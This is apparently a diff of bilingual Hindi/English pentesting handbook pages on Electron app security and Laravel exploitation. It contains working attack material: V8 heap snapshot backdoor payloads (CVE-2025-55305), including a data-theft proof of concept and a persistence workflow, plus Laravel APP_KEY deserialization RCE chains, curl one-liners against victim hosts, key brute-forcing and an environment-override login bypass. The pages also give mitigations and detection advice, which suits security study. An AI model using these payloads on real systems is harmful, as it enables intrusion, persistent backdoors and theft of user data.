- **`app.setUserTasks(tasks)`**
|
||||
- **Tasks category** में **Jump List** (Windows पर) के लिए tasks जोड़ता है। प्रत्येक task नियंत्रित कर सकता है कि app कैसे **launch** हो या कौन से **arguments** पास किए जाएँ।
|
||||
- **टास्क जोड़ता है** Jump List की **Tasks category** में (on Windows)। प्रत्येक टास्क यह नियंत्रित कर सकता है कि ऐप कैसे **लॉन्च** होता है या कौन से **arguments** पास होते हैं।
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- सिस्टम के **certificate store** में एक **PKCS#12 certificate** इम्पोर्ट करता है (सिर्फ Linux)। परिणाम को हैंडल करने के लिए एक **callback** का उपयोग किया जा सकता है।
|
||||
- **इम्पोर्ट करता है** एक **PKCS#12 certificate** को सिस्टम के **certificate store** में (Linux only)। परिणाम को हैंडल करने के लिए **callback** का उपयोग किया जा सकता है।
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- एप्लिकेशन को **Applications folder** में स्थानांतरित करता है (macOS पर)। Mac उपयोगकर्ताओं के लिए एक **standard installation** सुनिश्चित करने में मदद करता है।
|
||||
- **एप्लिकेशन को स्थानांतरित करता है** Applications folder पर (on macOS)। यह Mac उपयोगकर्ताओं के लिए **standard installation** सुनिश्चित करने में मदद करता है।
|
||||
- **`app.setJumpList(categories)`**
|
||||
- Windows पर एक **custom Jump List** सेट या हटाता है। आप यह निर्धारित करने के लिए **categories** निर्दिष्ट कर सकते हैं कि tasks उपयोगकर्ता को कैसे दिखाई दें।
|
||||
- **सेट** या **हटाता है** एक **custom Jump List** on **Windows**। आप **categories** निर्दिष्ट कर सकते हैं ताकि यह व्यवस्थित हो कि टास्क उपयोगकर्ता को कैसे दिखाई दें।
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- यह कॉन्फ़िगर करता है कि कौन से **executables** login पर लॉन्च होंगे और उनके साथ कौन से **options** होंगे (केवल macOS और Windows)।
|
||||
- **कॉन्फ़िगर करता है** कि कौन से **executables** login पर लॉन्च हों और उनके **options** क्या हों (macOS and Windows only).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences मॉड्यूल
|
||||
## systemPreferences module
|
||||
|
||||
Electron में **मुख्य API** है जो system preferences तक पहुँचने और **सिस्टम इवेंट्स उत्पन्न करने** के लिए उपयोग होता है। **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, और **setUserDefault** जैसे मेथड सभी इस मॉड्यूल **का हिस्सा** हैं।
|
||||
Electron में system preferences तक पहुँचने और **emitting system events** के लिए यह **primary API** है। **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, और **setUserDefault** जैसे methods सभी इस module का **भाग** हैं।
|
||||
|
||||
**उदाहरण उपयोग:**
|
||||
**उपयोग का उदाहरण:**
|
||||
```javascript
|
||||
const { systemPreferences } = require('electron');
|
||||
|
||||
@ -366,31 +382,31 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Listens** NSDistributedNotificationCenter का उपयोग करके **native macOS notifications** को सुनता है।
|
||||
* **macOS Catalina** से पहले, आप CFNotificationCenterAddObserver में **nil** पास करके सभी distributed notifications को sniff कर सकते थे।
|
||||
* **Catalina / Big Sur** के बाद, sandboxed apps फिर भी नाम द्वारा notifications रजिस्टर करके कई events (उदा., **screen locks/unlocks**, **volume mounts**, **network activity**, आदि) को **subscribe** कर सकते हैं।
|
||||
* **सुनता है** NSDistributedNotificationCenter का उपयोग करके **native macOS notifications** के लिए।
|
||||
* **macOS Catalina** से पहले, आप CFNotificationCenterAddObserver में **nil** पास करके **all** distributed notifications को sniff कर सकते थे।
|
||||
* **Catalina / Big Sur** के बाद, sandboxed apps फिर भी कई घटनाओं (उदाहरण के लिए, **screen locks/unlocks**, **volume mounts**, **network activity**, आदि) को नाम द्वारा notifications register करके **subscribe** कर सकते हैं।
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **NSUserDefaults** के साथ इंटरफेस करता है, जो macOS पर application या global preferences को स्टोर करता है।
|
||||
* **NSUserDefaults** के साथ इंटरफ़ेस करता है, जो macOS पर **application** या **global** preferences को स्टोर करता है।
|
||||
|
||||
* **getUserDefault** संवेदनशील जानकारी प्राप्त कर सकता है, जैसे कि हाल की फाइल लोकेशन (recent file locations) या उपयोगकर्ता का भौगोलिक स्थान (user’s geographic location)।
|
||||
* **getUserDefault** संवेदनशील जानकारी **retrieve** कर सकता है, जैसे **recent file locations** या **user’s geographic location**।
|
||||
|
||||
* **setUserDefault** इन preferences को बदल सकता है, जिससे किसी app की configuration प्रभावित हो सकती है।
|
||||
* **setUserDefault** इन preferences को **modify** कर सकता है, जो किसी app के **configuration** को प्रभावित कर सकता है।
|
||||
|
||||
* पुराने **Electron versions** (v8.3.0 से पहले) में, केवल NSUserDefaults का **standard suite** ही उपलब्ध (accessible) था।
|
||||
* पुराने **Electron versions** (v8.3.0 से पहले) में, केवल NSUserDefaults के **standard suite** तक **accessible** था।
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
यह function दिए गए फ़ाइल को file manager में दिखाता है, जो फ़ाइल को स्वचालित रूप से execute कर सकता है।
|
||||
This function shows the given file in a file manager, जो **फ़ाइल को स्वचालित रूप से execute कर सकता है**।
|
||||
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Electron apps में **Content Security Policy (CSP)** होना चाहिए ताकि **XSS attacks** से बचा जा सके। **CSP** एक security standard है जो ब्राउज़र में **untrusted code** के execution को रोकने में मदद करता है।
|
||||
Electron apps should have a **Content Security Policy (CSP)** ताकि **XSS attacks** को रोका जा सके। **CSP** एक **security standard** है जो ब्राउज़र में **untrusted code** के **execution** को रोकने में मदद करता है।
|
||||
|
||||
यह आमतौर पर `main.js` फाइल या `index.html` टेम्पलेट में meta tag के अंदर CSP के साथ configured होता है।
|
||||
यह आमतौर पर `main.js` फ़ाइल या `index.html` टेम्पलेट में CSP को **meta tag** के अंदर कॉन्फ़िगर करके लगाया जाता है।
|
||||
|
||||
For more information check:
|
||||
|
||||
@ -402,16 +418,16 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron-based applications में misconfigurations और security anti-patterns पहचानने के लिए एक tool है।
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity का उपयोग करने वाला Electron applications के लिए एक open source VS Code plugin है।
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) vulnerable third party libraries की जाँच के लिए
|
||||
- [**Electro.ng**](https://electro.ng/): इसे खरीदना पड़ेगा
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) एक टूल है जो Electron-based applications में misconfigurations और security anti-patterns की पहचान करता है।
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron applications के लिए एक open source VS Code plugin है जो Electronegativity का उपयोग करता है।
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) तीसरे पक्ष की कमजोर libraries की जाँच करने के लिए
|
||||
- [**Electro.ng**](https://electro.ng/): आपको इसे खरीदना होगा
|
||||
|
||||
## Labs
|
||||
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) आप vulnerable Electron apps को exploit करने के लिए एक lab पा सकते हैं।
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) आप vulnerable Electron apps को exploit करने के लिए एक लैब पा सकते हैं।
|
||||
|
||||
कुछ कमांड्स जो lab में आपकी मदद करेंगे:
|
||||
कुछ कमांड जो लैब में आपकी मदद करेंगे:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -434,20 +450,20 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
## V8 heap snapshot छेड़छाड़ के जरिए लोकल backdooring (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron और Chromium-based apps startup पर prebuilt V8 heap snapshot को deserialize करते हैं (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) ताकि प्रत्येक V8 isolate (main, preload, renderer) initialize हो सके। ऐतिहासिक रूप से, Electron’s integrity fuses इन snapshots को executable content के रूप में treat नहीं करती थीं, इसलिए वे fuse-based integrity enforcement और OS code-signing checks दोनों से बच निकलती थीं। नतीजतन, user-writable installation में snapshot को replace करना signed binaries या ASAR को modify किए बिना ऐप के अंदर stealthy, persistent code execution प्रदान करता था।
|
||||
Electron और Chromium-based ऐप्स startup पर पहले से बने V8 heap snapshot (v8_context_snapshot.bin, और वैकल्पिक रूप से browser_v8_context_snapshot.bin) को deserialize करते हैं ताकि प्रत्येक V8 isolate (main, preload, renderer) इनिशियलाइज़ हो सके। ऐतिहासिक रूप से, Electron की integrity fuses इन snapshots को executable content के रूप में नहीं मानती थीं, इसलिए वे fuse-based integrity enforcement और OS code-signing checks दोनों से बच गए। परिणामस्वरूप, user-writable installation में snapshot को बदलने से signed binaries या ASAR को modify किये बिना ऐप के अंदर stealthy, persistent code execution संभव हो गया।
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation और OnlyLoadAppFromAsar ASAR के अंदर app JavaScript को validate करते हैं, लेकिन वे V8 heap snapshots को कवर नहीं करते थे (CVE-2025-55305)। Chromium similarly does not integrity-check snapshots.
|
||||
- Attack preconditions: ऐप की installation directory में local file write करने की क्षमता। यह उन सिस्टमों पर सामान्य है जहाँ Electron apps या Chromium browsers user-writable paths के तहत install होते हैं (उदा., %AppData%\Local on Windows; /Applications कुछ शर्तों के साथ on macOS)।
|
||||
- Effect: किसी भी isolate में attacker JavaScript का reliable execution एक अक्सर उपयोग किए जाने वाले builtin (एक “gadget”) को clobber करके संभव होता है, जिससे persistence और code-signing verification से बचाव सक्षम हो जाता है।
|
||||
- Affected surface: Electron apps (यहाँ तक कि fuses enabled होने पर भी) और वे Chromium-based browsers जो snapshots को user-writable locations से लोड करते हैं।
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation और OnlyLoadAppFromAsar ASAR के अंदर app JavaScript को validate करते हैं, लेकिन वे V8 heap snapshots (CVE-2025-55305) को कवर नहीं करते थे। Chromium भी समान रूप से snapshots की integrity-check नहीं करता।
|
||||
- Attack preconditions: ऐप की installation directory में local file write। यह उन सिस्टम्स पर आम है जहाँ Electron apps या Chromium browsers user-writable paths में install होते हैं (जैसे %AppData%\Local on Windows; /Applications with caveats on macOS)।
|
||||
- Effect: किसी भी isolate में attacker JavaScript का reliable execution एक बार-बार इस्तेमाल होने वाले builtin (a “gadget”) को clobber करके संभव होता है, जो persistence और code-signing verification से बचने में सक्षम बनाता है।
|
||||
- Affected surface: Electron apps (even with fuses enabled) और Chromium-based browsers जो user-writable locations से snapshots load करते हैं।
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
- prebuilt electron/mksnapshot का उपयोग करके payload JS को एक snapshot में compile करें और application के v8_context_snapshot.bin को overwrite करें।
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
Example minimal payload (execution साबित करने के लिए crash कराकर)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
@ -461,11 +477,11 @@ Array.isArray = function () {
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (main और renderer में अलग कोड चलाना)
|
||||
- Main process detection: Node-only globals जैसे process.pid, process.binding(), या process.dlopen मुख्य process isolate में मौजूद रहते हैं।
|
||||
- Browser/renderer detection: Browser-only globals जैसे alert डॉक्यूमेंट context में चलने पर उपलब्ध होते हैं।
|
||||
Isolate-aware payload routing (main बनाम renderer में अलग कोड चलाएँ)
|
||||
- Main process का पता लगाना: Node-only globals जैसे process.pid, process.binding(), या process.dlopen main process isolate में मौजूद होते हैं.
|
||||
- Browser/renderer का पता लगाना: Browser-only globals जैसे alert document context में चलाने पर उपलब्ध होते हैं.
|
||||
|
||||
Example gadget जो एक बार main-process की Node capabilities की जांच करता है
|
||||
Example gadget जो एक बार main-process की Node क्षमताओं की जाँच करता है
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -494,7 +510,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context data theft PoC (जैसे Slack)
|
||||
Renderer/browser-context डेटा चोरी PoC (e.g., Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -519,23 +535,23 @@ return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Operator workflow
|
||||
1) payload.js लिखें जो एक सामान्य builtin (e.g., Array.isArray) को ओवरराइड करे और वैकल्पिक रूप से प्रति isolate ब्रांच करे।
|
||||
1) payload.js लिखें जो किसी सामान्य builtin (उदा., Array.isArray) को ओवरराइड कर दे और वैकल्पिक रूप से प्रति isolate ब्रांच करे।
|
||||
2) Chromium स्रोतों के बिना snapshot बनाएं:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) लक्षित एप्लिकेशन की snapshot फ़ाइल(ें) को ओवरराइट करें:
|
||||
- v8_context_snapshot.bin (हमेशा उपयोग होता है)
|
||||
- browser_v8_context_snapshot.bin (यदि LoadBrowserProcessSpecificV8Snapshot fuse उपयोग किया गया है)
|
||||
4) एप्लिकेशन लॉन्च करें; gadget तब execute होगा जब भी चुना गया builtin उपयोग किया जाएगा।
|
||||
3) लक्ष्य एप्लिकेशन की snapshot फ़ाइल(ओं) को ओवरराइट करें:
|
||||
- v8_context_snapshot.bin (हमेशा उपयोग होती है)
|
||||
- browser_v8_context_snapshot.bin (यदि LoadBrowserProcessSpecificV8Snapshot fuse उपयोग में है)
|
||||
4) एप्लिकेशन लॉन्च करें; चुने हुए builtin के उपयोग पर gadget निष्पादित होता है।
|
||||
|
||||
Notes and considerations
|
||||
- Integrity/signature bypass: Snapshot फ़ाइलों को code-signing checks द्वारा native executables की तरह नहीं माना जाता है और (ऐतिहासिक रूप से) इन्हें Electron’s fuses या Chromium integrity controls द्वारा कवर नहीं किया गया था।
|
||||
- Persistence: user-writable install में snapshot को बदलना आमतौर पर app restarts के बाद भी सुरक्षित रहता है और यह एक signed, legitimate app जैसा दिखता है।
|
||||
- Chromium browsers: समान छेड़छाड़ का विचार उन Chrome/derivatives पर लागू होता है जो user-writable स्थानों में इंस्टॉल हैं। Chrome के पास अन्य integrity mitigations हैं पर यह स्पष्ट रूप से physically local attacks को अपने threat model से बाहर रखता है।
|
||||
- Integrity/signature bypass: Snapshot फ़ाइलों को code-signing checks द्वारा native executables के रूप में नहीं माना जाता और (ऐतिहासिक रूप से) Electron’s fuses या Chromium integrity controls द्वारा कवर नहीं किया गया था।
|
||||
- Persistence: उपयोगकर्ता-लेखनीय इंस्टॉल में snapshot बदलने से आम तौर पर ऐप रिस्टार्ट के बाद भी बदलाव बनी रहती है और यह एक signed, legitimate app जैसा दिखता है।
|
||||
- Chromium browsers: वही छेड़छाड़ का विचार Chrome/derivatives पर भी लागू होता है जो user-writable लोकेशनों में इंस्टॉल हैं। Chrome के पास अन्य integrity mitigations हैं पर यह स्पष्ट रूप से physically local attacks को अपने threat model से बाहर रखता है।
|
||||
|
||||
Detection and mitigations
|
||||
- Snapshot को executable content के रूप में मानें और इन्हें integrity enforcement में शामिल करें (CVE-2025-55305 fix).
|
||||
- admin-writable-only install स्थान पसंद करें; v8_context_snapshot.bin और browser_v8_context_snapshot.bin के लिए baseline और hashes की निगरानी करें।
|
||||
- early-runtime builtin clobbering और अप्रत्याशित snapshot बदलावों का पता लगाएं; जब deserialized snapshots अपेक्षित मानों से मेल नहीं खाते तो alert करें।
|
||||
- Snapshot को executable content मानें और उन्हें integrity enforcement में शामिल करें (CVE-2025-55305 fix)।
|
||||
- Admin-writable-only install लोकेशनों को प्राथमिकता दें; v8_context_snapshot.bin और browser_v8_context_snapshot.bin के लिए baseline और मॉनिटर hashes रखें।
|
||||
- Early-runtime builtin clobbering और अनपेक्षित snapshot परिवर्तनों का पता लगाएँ; जब deserialized snapshots उम्मीद के अनुरूप न हों तो alert करें।
|
||||
|
||||
## **References**
|
||||
|
||||
@ -547,7 +563,7 @@ Detection and mitigations
|
||||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
|
||||
@ -4,14 +4,14 @@
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
इस बारे में जानकारी पढ़ें: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
इस बारे में जानकारी यहाँ पढ़ें: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY और एन्क्रिप्शन इंटरनल्स (Laravel \u003e=5.6)
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
|
||||
Laravel बैकएंड में AES-256-CBC (या GCM) और HMAC इंटीग्रिटी के साथ उपयोग करता है (`Illuminate\\Encryption\\Encrypter`)।
|
||||
अंततः कच्चा ciphertext जो **क्लाइंट को भेजा जाता है**, वह **Base64 of a JSON object** जैसा होता है:
|
||||
Laravel आंतरिक रूप से AES-256-CBC (या GCM) और HMAC इंटीग्रिटी के साथ (`Illuminate\\Encryption\\Encrypter`) का उपयोग करता है।
|
||||
अंततः **क्लाइंट को भेजा जाने वाला** कच्चा ciphertext इस प्रकार का **JSON object का Base64** होता है:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,23 +20,23 @@ Laravel बैकएंड में AES-256-CBC (या GCM) और HMAC इं
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से सादा टेक्स्ट को `serialize()` करेगा, जबकि
|
||||
`decrypt($payload, $unserialize=true)` **डिक्रीप्ट किए गए मान को स्वतः `unserialize()` करेगा**।
|
||||
इसलिए **कोई भी attacker जो 32-byte secret `APP_KEY` जानता है वह एक encrypted PHP serialized object बना सकता है और magic methods (`__wakeup`, `__destruct`, …) के जरिए RCE हासिल कर सकता है**।
|
||||
`encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से सादा-पाठ को `serialize()` करेगा, जबकि
|
||||
`decrypt($payload, $unserialize=true)` **स्वतः `unserialize()`** करेगा डिक्रिप्ट किए गए मान को।
|
||||
इसलिए **कोई भी हमलावर जो 32-बाइट गुप्त `APP_KEY` जानता है, वह एक encrypted PHP serialized object तैयार कर सकता है और magic methods (`__wakeup`, `__destruct`, …) के माध्यम से RCE प्राप्त कर सकता है।**
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
न्यूनतम PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` sink (route param, cookie, session, …) में इंजेक्ट करें।
|
||||
Inject उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` sink (route param, cookie, session, …) में डालें।
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) पूरी प्रक्रिया को स्वचालित करता है और एक सुविधाजनक **bruteforce** मोड जोड़ता है:
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) पूरे प्रक्रिया को ऑटोमेट करता है और एक सुविधाजनक **bruteforce** मोड जोड़ता है:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
@ -51,21 +51,21 @@ The script transparently supports both CBC and GCM payloads and re-generates the
|
||||
|
||||
---
|
||||
|
||||
## वास्तविक दुनिया के कमजोर पैटर्न
|
||||
## वास्तविक कमजोर पैटर्न
|
||||
|
||||
| Project | Vulnerable sink | Gadget chain |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie जब `Passport::withCookieSerialization()` सक्षम हो | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
The exploitation workflow is always:
|
||||
1. 32-byte `APP_KEY` प्राप्त करें या ब्रूट-फोर्स करें।
|
||||
2. **PHPGGC** के साथ एक gadget chain बनाएं (उदाहरण के लिए `Laravel/RCE13`, `Laravel/RCE9` या `Laravel/RCE15`)।
|
||||
3. सिरीयलाइज़्ड gadget को **laravel_crypto_killer.py** और पुनः प्राप्त `APP_KEY` से encrypt करें।
|
||||
4. सिफरटेक्स्ट को कमजोर `decrypt()` sink (route parameter, cookie, session …) पर भेजें ताकि **RCE** ट्रिगर हो।
|
||||
शोषण कार्यप्रवाह हमेशा यह होता है:
|
||||
1. 32-byte `APP_KEY` प्राप्त करें या brute-force करें।
|
||||
2. PHPGGC के साथ एक gadget chain बनाएं (उदाहरण के लिए `Laravel/RCE13`, `Laravel/RCE9` या `Laravel/RCE15`)।
|
||||
3. serialized gadget को `laravel_crypto_killer.py` और प्राप्त `APP_KEY` के साथ encrypt करें।
|
||||
4. ciphertext को vulnerable `decrypt()` sink (route parameter, cookie, session …) में पहुंचाकर **RCE** ट्रिगर करें।
|
||||
|
||||
नीचे संक्षिप्त one-liners दिए गए हैं जो ऊपर बताए गए प्रत्येक वास्तविक CVE के लिए पूरा attack path दिखाते हैं:
|
||||
नीचे संक्षिप्त one-liners दिए गए हैं जो ऊपर बताए गए प्रत्येक वास्तविक CVE के लिए पूरा attack path दर्शाते हैं:
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
@ -82,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
## बड़े पैमाने पर APP_KEY खोज (cookie brute-force के माध्यम से)
|
||||
## Mass APP_KEY discovery via cookie brute-force
|
||||
|
||||
क्योंकि हर नए Laravel response कम से कम 1 एन्क्रिप्टेड cookie (`XSRF-TOKEN` और आमतौर पर `laravel_session`) सेट करता है, **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** जो offline में हमला किए जा सकते हैं।
|
||||
क्योंकि हर नया Laravel response कम से कम 1 encrypted cookie (`XSRF-TOKEN` और सामान्यतः `laravel_session`) सेट करता है, **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** जिन्हें offline attack किया जा सकता है।
|
||||
|
||||
Synacktiv (2024-2025) द्वारा प्रकाशित रिसर्च के मुख्य निष्कर्ष:
|
||||
Key findings of the research published by Synacktiv (2024-2025):
|
||||
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 servers अभी भी legacy CVE-2018-15133 के प्रति vulnerable हैं क्योंकि tokens सीधे serialized data contain करते हैं।
|
||||
* Huge key reuse – Top-10 APP_KEYs hard-coded defaults हैं जो commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …) के साथ shipped होते हैं।
|
||||
* Huge key reuse – Top-10 APP_KEYs हार्ड-कोडेड defaults हैं जो commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …) के साथ आते हैं।
|
||||
|
||||
Private Go tool **nounours** AES-CBC/GCM bruteforce throughput को ~1.5 billion tries/s तक पहुंचाता है, जिससे पूरे dataset का cracking <2 minutes में हो जाता है।
|
||||
निजी Go टूल **nounours** AES-CBC/GCM bruteforce throughput को ~1.5 billion tries/s तक बढ़ाता है, जिससे पूरे डेटासेट का cracking <2 minutes में संभव हो जाता है।
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
जब PHP का `register_argc_argv=On` (कई distros पर typical) होता है, PHP query string से derived HTTP requests के लिए एक `argv` array expose करता है। हालिया Laravel versions इन “CLI-like” args को parse करते थे और runtime पर `--env=<value>` को मानते थे। इसका मतलब है कि आप केवल इसे किसी भी URL के साथ जोड़कर current HTTP request के लिए framework environment flip कर सकते हैं:
|
||||
जब PHP का `register_argc_argv=On` (कई distros पर सामान्य) होता है, PHP query string से निकले HTTP requests के लिए एक `argv` array expose करता है। हाल की Laravel versions इन “CLI-like” args को parse करती थीं और runtime पर `--env=<value>` को मानती थीं। इससे किसी भी URL के अंत में इसे जोड़कर current HTTP request के लिए framework environment को बदलना संभव हो जाता है:
|
||||
|
||||
- Quick check:
|
||||
- Visit `https://target/?--env=local` या कोई भी string खोलें और environment-dependent परिवर्तन देखें (debug banners, footers, verbose errors)। यदि string reflect होता है, तो override काम कर रहा है।
|
||||
- Visit `https://target/?--env=local` या कोई भी string और environment-dependent बदलाव देखें (debug banners, footers, verbose errors). अगर string reflected होती है, तो override काम कर रहा है।
|
||||
|
||||
- Impact example (business logic trusting a special env):
|
||||
- यदि app में ऐसी branches हैं जैसे `if (app()->environment('preprod')) { /* bypass auth */ }`, तो आप valid creds के बिना authenticate कर सकते हैं login POST भेजकर:
|
||||
- अगर ऐप में ऐसे branches हैं जैसे `if (app()->environment('preprod')) { /* bypass auth */ }`, तो आप वैध creds के बिना authenticate कर सकते हैं बस login POST भेजकर:
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- Notes:
|
||||
- हर-request के लिए काम करता है, कोई persistence नहीं।
|
||||
- Requires `register_argc_argv=On` और एक vulnerable Laravel version जो HTTP के लिए argv पढ़ता है।
|
||||
- एक उपयोगी primitive है जो “debug” envs में अधिक verbose errors surface करने या environment-gated code paths trigger करने में काम आता है।
|
||||
- Works per-request, no persistence.
|
||||
- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
|
||||
- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.
|
||||
|
||||
- Mitigations:
|
||||
- PHP-FPM/Apache के लिए `register_argc_argv` को Disable करें।
|
||||
- Laravel को upgrade करें ताकि HTTP requests पर argv ignore किया जाए और production routes में `app()->environment()` से जुड़ी किसी भी trust assumption को हटा दिया जाए।
|
||||
- PHP-FPM/Apache के लिए `register_argc_argv` को disable करें।
|
||||
- Laravel को upgrade करें ताकि HTTP requests पर argv ignore करे और production routes में `app()->environment()` पर आधारित किसी भी trust assumption को हटा दें।
|
||||
|
||||
Minimal exploitation flow (Burp):
|
||||
```http
|
||||
@ -125,26 +125,26 @@ email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
---
|
||||
|
||||
## Laravel युक्तियाँ
|
||||
## Laravel ट्रिक्स
|
||||
|
||||
### डिबगिंग मोड
|
||||
|
||||
यदि Laravel **debugging mode** में है तो आप **code** और **sensitive data** तक पहुँच पाएंगे।\
|
||||
अगर Laravel **डिबगिंग मोड** में है तो आप **कोड** और **संवेदनशील डेटा** तक पहुँच सकेंगे.\
|
||||
उदाहरण के लिए `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
